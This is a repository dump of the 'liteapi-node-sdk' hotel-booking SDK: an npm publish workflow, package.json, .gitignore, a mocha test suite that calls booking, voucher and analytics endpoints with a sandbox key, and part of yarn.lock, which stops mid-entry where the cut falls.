├── .github └── workflows │ └── npm-publish.yml ├── package.json ├── .gitignore ├── test └── test.js ├── yarn.lock ├── index.js ├── STATICDATA.md └── README.md /.github/workflows/npm-publish.yml: -------------------------------------------------------------------------------- 1 | # This workflow will run tests using node and then publish a package to GitHub Packages when a release is created 2 | # For more information see: https://docs.github.com/en/actions/publishing-packages/publishing-nodejs-packages 3 | 4 | name: Node.js Package 5 | 6 | on: 7 | push: 8 | branches: 9 | - main 10 | 11 | jobs: 12 | publish-npm: 13 | runs-on: ubuntu-latest 14 | steps: 15 | - uses: actions/checkout@v3 16 | - uses: actions/setup-node@v3 17 | with: 18 | node-version: 16 19 | registry-url: https://registry.npmjs.org/ 20 | - run: npm install 21 | - run: npm publish 22 | env: 23 | NODE_AUTH_TOKEN: ${{secrets.NPM_TOKEN}} 24 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "liteapi-node-sdk", 3 | "version": "4.3.2", 4 | "description": "Start building travel apps with liteAPI. Instantly access millions of hotels to build new or existing apps and platforms.", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "mocha" 8 | }, 9 | "repository": { 10 | "type": "git", 11 | "url": "git+https://github.com/liteapi-travel/nodejs-sdk.git" 12 | }, 13 | "keywords": [ 14 | "travel", 15 | "hotels", 16 | "api", 17 | "sdk", 18 | "booking", 19 | "vacation", 20 | "Accommodation", 21 | "Liteapi", 22 | "Nuitee" 23 | ], 24 | "author": "liteAPI Travel", 25 | "license": "ISC", 26 | "homepage": "https://github.com/liteapi-travel/nodejs-sdk.git#readme", 27 | "packageManager": "yarn@1.22.22+sha512.a6b2f7906b721bba3d67d4aff083df04dad64c399707841b7acf00f6b133b7ac24255f2652fa22ae3534329dc6180534e98d17432037ff6fd140556e2bb3137e", 28 | "dependencies": { 29 | "liteapi-node-sdk": "^3.2.0" 30 | }, 31 | "devDependencies": { 32 | "expect.js": "^0.3.1", 33 | "mocha": "^10.7.3" 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Logs 2 | logs 3 | *.log 4 | npm-debug.log* 5 | yarn-debug.log* 6 | yarn-error.log* 7 | lerna-debug.log* 8 | .pnpm-debug.log* 9 | 10 | # Diagnostic reports (https://nodejs.org/api/report.html) 11 | report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json 12 | 13 | # Runtime data 14 | pids 15 | *.pid 16 | *.seed 17 | *.pid.lock 18 | 19 | # Directory for instrumented libs generated by jscoverage/JSCover 20 | lib-cov 21 | 22 | # Coverage directory used by tools like istanbul 23 | coverage 24 | *.lcov 25 | 26 | # nyc test coverage 27 | .nyc_output 28 | 29 | # Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) 30 | .grunt 31 | 32 | # Bower dependency directory (https://bower.io/) 33 | bower_components 34 | 35 | # node-waf configuration 36 | .lock-wscript 37 | 38 | # Compiled binary addons (https://nodejs.org/api/addons.html) 39 | build/Release 40 | 41 | # Dependency directories 42 | node_modules/ 43 | jspm_packages/ 44 | 45 | # Snowpack dependency directory (https://snowpack.dev/) 46 | web_modules/ 47 | 48 | # TypeScript cache 49 | *.tsbuildinfo 50 | 51 | # Optional npm cache directory 52 | .npm 53 | 54 | # Optional eslint cache 55 | .eslintcache 56 | 57 | # Optional stylelint cache 58 | .stylelintcache 59 | 60 | # Microbundle cache 61 | .rpt2_cache/ 62 | .rts2_cache_cjs/ 63 | .rts2_cache_es/ 64 | .rts2_cache_umd/ 65 | 66 | # Optional REPL history 67 | .node_repl_history 68 | 69 | # Output of 'npm pack' 70 | *.tgz 71 | 72 | # Yarn Integrity file 73 | .yarn-integrity 74 | 75 | # dotenv environment variable files 76 | .env 77 | .env.development.local 78 | .env.test.local 79 | .env.production.local 80 | .env.local 81 | 82 | # parcel-bundler cache (https://parceljs.org/) 83 | .cache 84 | .parcel-cache 85 | 86 | # Next.js build output 87 | .next 88 | out 89 | 90 | # Nuxt.js build / generate output 91 | .nuxt 92 | dist 93 | 94 | # Gatsby files 95 | .cache/ 96 | # Comment in the public line in if your project uses Gatsby and not Next.js 97 | # https://nextjs.org/blog/next-9-1#public-directory-support 98 | # public 99 | 100 | # vuepress build output 101 | .vuepress/dist 102 | 103 | # vuepress v2.x temp and cache directory 104 | .temp 105 | .cache 106 | 107 | # Docusaurus cache and generated files 108 | .docusaurus 109 | 110 | # Serverless directories 111 | .serverless/ 112 | 113 | # FuseBox cache 114 | .fusebox/ 115 | 116 | # DynamoDB Local files 117 | .dynamodb/ 118 | 119 | # TernJS port file 120 | .tern-port 121 | 122 | # Stores VSCode versions used for testing VSCode extensions 123 | .vscode-test 124 | 125 | # yarn v2 126 | .yarn/cache 127 | .yarn/unplugged 128 | .yarn/build-state.yml 129 | .yarn/install-state.gz 130 | .pnp.* -------------------------------------------------------------------------------- /test/test.js: -------------------------------------------------------------------------------- 1 | const expect = require("expect.js"); 2 | const liteApi = require("../index.js")( 3 | "sand_c0155ab8-c683-4f26-8f94-b5e92c5797b9" 4 | ); 5 | 6 | describe("LiteAPI SDK Test Suite", function () { 7 | this.timeout(20000); 8 | // Function to generate or retrieve the voucher code dynamically 9 | function getVoucherCode() { 10 | return "VOUCHER_" + Math.random().toString(36).substr(2, 9).toUpperCase(); 11 | } 12 | 13 | let latestVoucherId; 14 | let bookingId; 15 | let offer; 16 | 17 | it("should retrieve full rates", async function () { 18 | const data = { 19 | hotelIds: ["lp1897"], 20 | occupancies: [{ adults: 2, children: [5] }], 21 | currency: "USD", 22 | guestNationality: "US", 23 | checkin: "2024-12-30", 24 | checkout: "2024-12-31", 25 | countryCode: "USD", 26 | }; 27 | 28 | const result = await liteApi.getFullRates(data); 29 | expect(result).to.have.property("status", "success"); 30 | expect(result).to.have.property("data"); 31 | expect(result.data).to.be.an("object"); 32 | if ( 33 | result.data.data && 34 | result.data.data.length > 0 && 35 | result.data.data[0].roomTypes && 36 | result.data.data[0].roomTypes.length > 0 37 | ) { 38 | offer = result.data.data[0].roomTypes[0].offerId; 39 | } 40 | }); 41 | 42 | it("should prebook an offer", async function () { 43 | const data = { 44 | offerId: offer, 45 | }; 46 | 47 | const result = await liteApi.preBook(data); 48 | expect(result).to.have.property("status", "success"); 49 | expect(result).to.have.property("data"); 50 | expect(result.data).to.be.an("object"); 51 | }); 52 | 53 | it("should book a hotel room", async function () { 54 | const data = { 55 | holder: { 56 | firstName: "Steve", 57 | lastName: "Doe", 58 | email: "s.doe@liteapi.travel", 59 | }, 60 | payment: { 61 | method: "ACC_CREDIT_CARD", 62 | }, 63 | prebookId: "6-xUGK8_C", 64 | guests: [ 65 | { 66 | occupancyNumber: 1, 67 | remarks: "quiet room please", 68 | firstName: "Sunny", 69 | lastName: "Mars", 70 | email: "s.mars@liteapi.travel", 71 | }, 72 | ], 73 | }; 74 | 75 | const result = await liteApi.book(data); 76 | expect(result).to.have.property("status", "success"); 77 | expect(result).to.have.property("data"); 78 | expect(result.data).to.be.an("object"); 79 | bookingId = result.data.bookingId; 80 | }); 81 | 82 | it("should retrieve booking list", async function () { 83 | const result = await liteApi.getBookingsList("testref"); 84 | expect(result).to.have.property("status", "success"); 85 | expect(result).to.have.property("data"); 86 | expect(result.data).to.be.an("array"); 87 | }); 88 | 89 | it("should retrieve a specific booking", async function () { 90 | const result = await liteApi.retrieveBooking("XE1Bxh1bS"); 91 | expect(result).to.have.property("status", "success"); 92 | expect(result).to.have.property("data"); 93 | expect(result.data).to.be.an("object"); 94 | }); 95 | 96 | it("should cancel a booking", async function () { 97 | const result = await liteApi.cancelBooking(bookingId); 98 | expect(result).to.have.property("status", "success"); 99 | expect(result).to.have.property("data"); 100 | expect(result.data).to.be.an("object"); 101 | }); 102 | 103 | it("should retrieve cities by country code", async function () { 104 | const result = await liteApi.getCitiesByCountryCode("SG"); 105 | expect(result).to.have.property("status", "success"); 106 | expect(result).to.have.property("data"); 107 | expect(result.data).to.be.an("array"); 108 | }); 109 | 110 | it("should retrieve available currencies", async function () { 111 | const result = await liteApi.getCurrencies(); 112 | expect(result).to.have.property("status", "success"); 113 | expect(result).to.have.property("data"); 114 | expect(result.data).to.be.an("array"); 115 | }); 116 | 117 | it("should retrieve hotel facilities", async function () { 118 | const result = await liteApi.getHotelFacilities(); 119 | expect(result).to.have.property("status", "success"); 120 | expect(result).to.have.property("data"); 121 | expect(result.data).to.be.an("array"); 122 | }); 123 | 124 | it("should retrieve hotel types", async function () { 125 | const result = await liteApi.getHotelTypes(); 126 | expect(result).to.have.property("status", "success"); 127 | expect(result).to.have.property("data"); 128 | expect(result.data).to.be.an("array"); 129 | }); 130 | 131 | it("should retrieve hotel chains", async function () { 132 | const result = await liteApi.getHotelChains(); 133 | expect(result).to.have.property("status", "success"); 134 | expect(result).to.have.property("data"); 135 | expect(result.data).to.be.an("array"); 136 | }); 137 | 138 | it("should retrieve places based on text query", async function () { 139 | const textQuery = "Rome"; 140 | const type = ""; 141 | const language = "en"; 142 | 143 | const result = await liteApi.getPlaces(textQuery, type, language); 144 | 145 | expect(result).to.have.property("status", "success"); 146 | expect(result).to.have.property("data"); 147 | expect(result.data).to.be.an("array"); 148 | }); 149 | 150 | it("should retrieve hotels by country and city", async function () { 151 | const result = await liteApi.getHotels({ 152 | countryCode: "IT", 153 | cityName: "Rome", 154 | language: "en", 155 | }); 156 | expect(result).to.have.property("status", "success"); 157 | expect(result).to.have.property("data"); 158 | expect(result.data).to.be.an("array"); 159 | }); 160 | 161 | it("should retrieve hotel details by ID", async function () { 162 | const result = await liteApi.getHotelDetails("lp1897", "fr"); 163 | expect(result).to.have.property("status", "success"); 164 | expect(result).to.have.property("data"); 165 | expect(result.data).to.be.an("object"); 166 | }); 167 | 168 | it("should retrieve hotel reviews by ID", async function () { 169 | const result = await liteApi.getDataReviews("lp1897", 5, true); 170 | expect(result).to.have.property("status", "success"); 171 | expect(result).to.have.property("data"); 172 | expect(result.data).to.be.an("array"); 173 | expect(result).to.have.property("sentimentAnalysis"); 174 | expect(result.sentimentAnalysis).to.be.an("object"); 175 | }); 176 | 177 | it("should retrieve available countries", async function () { 178 | const result = await liteApi.getCountries(); 179 | expect(result).to.have.property("status", "success"); 180 | expect(result).to.have.property("data"); 181 | expect(result.data).to.be.an("array"); 182 | }); 183 | 184 | it("should retrieve IATA codes", async function () { 185 | const result = await liteApi.getIataCodes(); 186 | expect(result).to.have.property("status", "success"); 187 | expect(result).to.have.property("data"); 188 | expect(result.data).to.be.an("array"); 189 | }); 190 | 191 | it("should retrieve guest IDs", async function () { 192 | const result = await liteApi.getGuestsIds(10); 193 | expect(result).to.have.property("status", "success"); 194 | expect(result).to.have.property("data"); 195 | expect(result.data).to.be.an("object"); 196 | }); 197 | 198 | it("should retrieve guest bookings", async function () { 199 | const result = await liteApi.getGuestsBookings(10); 200 | expect(result).to.have.property("status", "success"); 201 | expect(result).to.have.property("data"); 202 | expect(result.data).to.be.an("array"); 203 | }); 204 | 205 | it("should retrieve vouchers", async function () { 206 | const result = await liteApi.getVouchers(); 207 | 208 | expect(result).to.have.property("status", "success"); 209 | expect(result.data).to.have.property("vouchers"); 210 | expect(result.data.vouchers).to.be.an("array"); 211 | 212 | if (result.data.vouchers.length > 0) { 213 | const latestVoucher = result.data.vouchers.reduce((latest, voucher) => { 214 | return new Date(voucher.created_at) > new Date(latest.created_at) 215 | ? voucher 216 | : latest; 217 | }); 218 | latestVoucherId = latestVoucher.id; 219 | } 220 | }); 221 | 222 | it("should retrieve a specific voucher by ID", async function () { 223 | const result = await liteApi.getVoucherById(latestVoucherId); 224 | expect(result).to.have.property("status", "success"); 225 | expect(result).to.have.property("data"); 226 | expect(result.data).to.be.an("object"); 227 | }); 228 | 229 | it("should create a new voucher", async function () { 230 | const data = { 231 | voucher_code: getVoucherCode(), 232 | discount_type: "percentage", 233 | discount_value: 12, 234 | minimum_spend: 60, 235 | maximum_discount_amount: 20, 236 | currency: "USD", 237 | validity_start: "2024-06-03", 238 | validity_end: "2024-07-30", 239 | usages_limit: 10, 240 | status: "active", 241 | }; 242 | 243 | const result = await liteApi.createVoucher(data); 244 | expect(result).to.have.property("status", "success"); 245 | expect(result).to.have.property("data"); 246 | expect(result.data).to.be.an("object"); 247 | }); 248 | 249 | it("should update an existing voucher", async function () { 250 | const data = { 251 | voucher_code: getVoucherCode(), 252 | discount_type: "percentage", 253 | discount_value: 12, 254 | minimum_spend: 60, 255 | maximum_discount_amount: 20, 256 | currency: "USD", 257 | validity_start: "2024-06-03", 258 | validity_end: "2024-07-30", 259 | usages_limit: 10, 260 | status: "active", 261 | }; 262 | 263 | const result = await liteApi.updateVoucher(latestVoucherId, data); 264 | expect(result).to.have.property("status", "success"); 265 | expect(result).to.have.property("data"); 266 | expect(result.data).to.be.an("object"); 267 | }); 268 | 269 | it("should update the status of a voucher", async function () { 270 | const result = await liteApi.updateVoucherStatus(latestVoucherId, { 271 | status: "inactive", 272 | }); 273 | expect(result).to.have.property("status", "success"); 274 | expect(result).to.have.property("data"); 275 | expect(result.data).to.be.an("object"); 276 | }); 277 | 278 | it("should retrieve loyalty information", async function () { 279 | const result = await liteApi.getLoyalty(); 280 | expect(result).to.have.property("status", "success"); 281 | expect(result).to.have.property("data"); 282 | expect(result.data).to.be.an("object"); 283 | }); 284 | 285 | it("should enable loyalty", async function () { 286 | const result = await liteApi.enableLoyalty({ 287 | status: "enabled", 288 | cashbackRate: 0.03, 289 | }); 290 | 291 | if ( 292 | result.status === "failed" && 293 | result.error.message === "loyalty already created" 294 | ) { 295 | expect(result.error).to.have.property( 296 | "message", 297 | "loyalty already created" 298 | ); 299 | } else { 300 | expect(result).to.have.property("status", "success"); 301 | expect(result).to.have.property("data"); 302 | expect(result.data).to.be.an("object"); 303 | } 304 | }); 305 | 306 | it("should update loyalty", async function () { 307 | const result = await liteApi.updateLoyalty({ 308 | status: "enable", 309 | cashbackRate: 0.03, 310 | }); 311 | expect(result).to.have.property("status", "success"); 312 | expect(result).to.have.property("data"); 313 | expect(result.data).to.be.an("object"); 314 | }); 315 | 316 | it("should retrieve weekly analytics", async function () { 317 | const result = await liteApi.retrieveWeeklyAnalytics({ 318 | from: "2024-01-01", 319 | to: "2024-01-07", 320 | }); 321 | 322 | expect(result).to.have.property("status", "success"); 323 | expect(result.data).to.have.property("arr"); 324 | expect(result.data.arr).to.be.an("array"); 325 | }); 326 | 327 | it("should retrieve analytics report", async function () { 328 | const result = await liteApi.retrieveAnalyticsReport({ 329 | from: "2024-01-01", 330 | to: "2024-01-07", 331 | }); 332 | 333 | expect(result).to.have.property("status", "success"); 334 | expect(result).to.have.property("data"); 335 | expect(result.data).to.have.property("totalRevenue"); 336 | expect(result.data.totalRevenue).to.be.a("number"); 337 | expect(result.data).to.have.property("salesRevenue"); 338 | expect(result.data.salesRevenue).to.not.be.empty; 339 | }); 340 | 341 | it("should retrieve market analytics", async function () { 342 | const result = await liteApi.retrieveMarketAnalytics({ 343 | from: "2024-01-01", 344 | to: "2024-01-07", 345 | }); 346 | expect(result).to.have.property("status", "success"); 347 | expect(result).to.have.property("data"); 348 | expect(result.data).to.be.an("array"); 349 | }); 350 | 351 | it("should retrieve most booked hotels", async function () { 352 | const result = await liteApi.retrieveMostBookedHotels({ 353 | from: "2024-01-01", 354 | to: "2024-01-07", 355 | }); 356 | expect(result).to.have.property("status", "success"); 357 | expect(result).to.have.property("data"); 358 | expect(result.data).to.be.an("array"); 359 | }); 360 | 361 | it("should retrieve minimum rates and log the response", async function () { 362 | const data = { 363 | hotelIds: ["lp1897"], 364 | occupancies: [{ adults: 2, children: [5] }], 365 | currency: "USD", 366 | guestNationality: "US", 367 | checkin: "2025-12-30", 368 | checkout: "2025-12-31", 369 | countryCode: "USD", 370 | }; 371 | 372 | const result = await liteApi.getMinRates(data); 373 | console.log("getMinRates endpoint response:", result); 374 | console.log("getMinRates endpoint response data:", result.data); 375 | 376 | expect(result).to.have.property("status", "success"); 377 | expect(result).to.have.property("data"); 378 | expect(result.data).to.be.an("object"); 379 | }); 380 | }); 381 | -------------------------------------------------------------------------------- /yarn.lock: -------------------------------------------------------------------------------- 1 | # THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY. 2 | # yarn lockfile v1 3 | 4 | 5 | ansi-colors@^4.1.3: 6 | version "4.1.3" 7 | resolved "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.3.tgz" 8 | integrity sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw== 9 | 10 | ansi-regex@^5.0.1: 11 | version "5.0.1" 12 | resolved "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz" 13 | integrity sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ== 14 | 15 | ansi-styles@^4.0.0, ansi-styles@^4.1.0: 16 | version "4.3.0" 17 | resolved "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz" 18 | integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg== 19 | dependencies: 20 | color-convert "^2.0.1" 21 | 22 | anymatch@~3.1.2: 23 | version "3.1.3" 24 | resolved "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz" 25 | integrity sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw== 26 | dependencies: 27 | normalize-path "^3.0.0" 28 | picomatch "^2.0.4" 29 | 30 | argparse@^2.0.1: 31 | version "2.0.1" 32 | resolved "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz" 33 | integrity sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q== 34 | 35 | balanced-match@^1.0.0: 36 | version "1.0.2" 37 | resolved "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz" 38 | integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw== 39 | 40 | binary-extensions@^2.0.0: 41 | version "2.3.0" 42 | resolved "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz" 43 | integrity sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw== 44 | 45 | brace-expansion@^2.0.1: 46 | version "2.0.1" 47 | resolved "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz" 48 | integrity sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA== 49 | dependencies: 50 | balanced-match "^1.0.0" 51 | 52 | braces@~3.0.2: 53 | version "3.0.3" 54 | resolved "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz" 55 | integrity sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA== 56 | dependencies: 57 | fill-range "^7.1.1" 58 | 59 | browser-stdout@^1.3.1: 60 | version "1.3.1" 61 | resolved "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz" 62 | integrity sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw== 63 | 64 | camelcase@^6.0.0: 65 | version "6.3.0" 66 | resolved "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz" 67 | integrity sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA== 68 | 69 | chalk@^4.1.0: 70 | version "4.1.2" 71 | resolved "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz" 72 | integrity sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA== 73 | dependencies: 74 | ansi-styles "^4.1.0" 75 | supports-color "^7.1.0" 76 | 77 | chokidar@^3.5.3: 78 | version "3.6.0" 79 | resolved "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz" 80 | integrity sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw== 81 | dependencies: 82 | anymatch "~3.1.2" 83 | braces "~3.0.2" 84 | glob-parent "~5.1.2" 85 | is-binary-path "~2.1.0" 86 | is-glob "~4.0.1" 87 | normalize-path "~3.0.0" 88 | readdirp "~3.6.0" 89 | optionalDependencies: 90 | fsevents "~2.3.2" 91 | 92 | cliui@^7.0.2: 93 | version "7.0.4" 94 | resolved "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz" 95 | integrity sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ== 96 | dependencies: 97 | string-width "^4.2.0" 98 | strip-ansi "^6.0.0" 99 | wrap-ansi "^7.0.0" 100 | 101 | color-convert@^2.0.1: 102 | version "2.0.1" 103 | resolved "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz" 104 | integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ== 105 | dependencies: 106 | color-name "~1.1.4" 107 | 108 | color-name@~1.1.4: 109 | version "1.1.4" 110 | resolved "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz" 111 | integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA== 112 | 113 | debug@^4.3.5: 114 | version "4.3.7" 115 | resolved "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz" 116 | integrity sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ== 117 | dependencies: 118 | ms "^2.1.3" 119 | 120 | decamelize@^4.0.0: 121 | version "4.0.0" 122 | resolved "https://registry.npmjs.org/decamelize/-/decamelize-4.0.0.tgz" 123 | integrity sha512-9iE1PgSik9HeIIw2JO94IidnE3eBoQrFJ3w7sFuzSX4DpmZ3v5sZpUiV5Swcf6mQEF+Y0ru8Neo+p+nyh2J+hQ== 124 | 125 | diff@^5.2.0: 126 | version "5.2.0" 127 | resolved "https://registry.npmjs.org/diff/-/diff-5.2.0.tgz" 128 | integrity sha512-uIFDxqpRZGZ6ThOk84hEfqWoHx2devRFvpTZcTHur85vImfaxUbTW9Ryh4CpCuDnToOP1CEtXKIgytHBPVff5A== 129 | 130 | emoji-regex@^8.0.0: 131 | version "8.0.0" 132 | resolved "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz" 133 | integrity sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A== 134 | 135 | escalade@^3.1.1: 136 | version "3.2.0" 137 | resolved "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz" 138 | integrity sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA== 139 | 140 | escape-string-regexp@^4.0.0: 141 | version "4.0.0" 142 | resolved "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz" 143 | integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA== 144 | 145 | expect.js@^0.3.1: 146 | version "0.3.1" 147 | resolved "https://registry.npmjs.org/expect.js/-/expect.js-0.3.1.tgz" 148 | integrity sha512-okDF/FAPEul1ZFLae4hrgpIqAeapoo5TRdcg/lD0iN9S3GWrBFIJwNezGH1DMtIz+RxU4RrFmMq7WUUvDg3J6A== 149 | 150 | fill-range@^7.1.1: 151 | version "7.1.1" 152 | resolved "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz" 153 | integrity sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg== 154 | dependencies: 155 | to-regex-range "^5.0.1" 156 | 157 | find-up@^5.0.0: 158 | version "5.0.0" 159 | resolved "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz" 160 | integrity sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng== 161 | dependencies: 162 | locate-path "^6.0.0" 163 | path-exists "^4.0.0" 164 | 165 | flat@^5.0.2: 166 | version "5.0.2" 167 | resolved "https://registry.npmjs.org/flat/-/flat-5.0.2.tgz" 168 | integrity sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ== 169 | 170 | fs.realpath@^1.0.0: 171 | version "1.0.0" 172 | resolved "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz" 173 | integrity sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw== 174 | 175 | fsevents@~2.3.2: 176 | version "2.3.3" 177 | resolved "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz" 178 | integrity sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw== 179 | 180 | get-caller-file@^2.0.5: 181 | version "2.0.5" 182 | resolved "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz" 183 | integrity sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg== 184 | 185 | glob-parent@~5.1.2: 186 | version "5.1.2" 187 | resolved "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz" 188 | integrity sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow== 189 | dependencies: 190 | is-glob "^4.0.1" 191 | 192 | glob@^8.1.0: 193 | version "8.1.0" 194 | resolved "https://registry.npmjs.org/glob/-/glob-8.1.0.tgz" 195 | integrity sha512-r8hpEjiQEYlF2QU0df3dS+nxxSIreXQS1qRhMJM0Q5NDdR386C7jb7Hwwod8Fgiuex+k0GFjgft18yvxm5XoCQ== 196 | dependencies: 197 | fs.realpath "^1.0.0" 198 | inflight "^1.0.4" 199 | inherits "2" 200 | minimatch "^5.0.1" 201 | once "^1.3.0" 202 | 203 | has-flag@^4.0.0: 204 | version "4.0.0" 205 | resolved "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz" 206 | integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ== 207 | 208 | he@^1.2.0: 209 | version "1.2.0" 210 | resolved "https://registry.npmjs.org/he/-/he-1.2.0.tgz" 211 | integrity sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw== 212 | 213 | inflight@^1.0.4: 214 | version "1.0.6" 215 | resolved "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz" 216 | integrity sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA== 217 | dependencies: 218 | once "^1.3.0" 219 | wrappy "1" 220 | 221 | inherits@2: 222 | version "2.0.4" 223 | resolved "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz" 224 | integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ== 225 | 226 | is-binary-path@~2.1.0: 227 | version "2.1.0" 228 | resolved "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz" 229 | integrity sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw== 230 | dependencies: 231 | binary-extensions "^2.0.0" 232 | 233 | is-extglob@^2.1.1: 234 | version "2.1.1" 235 | resolved 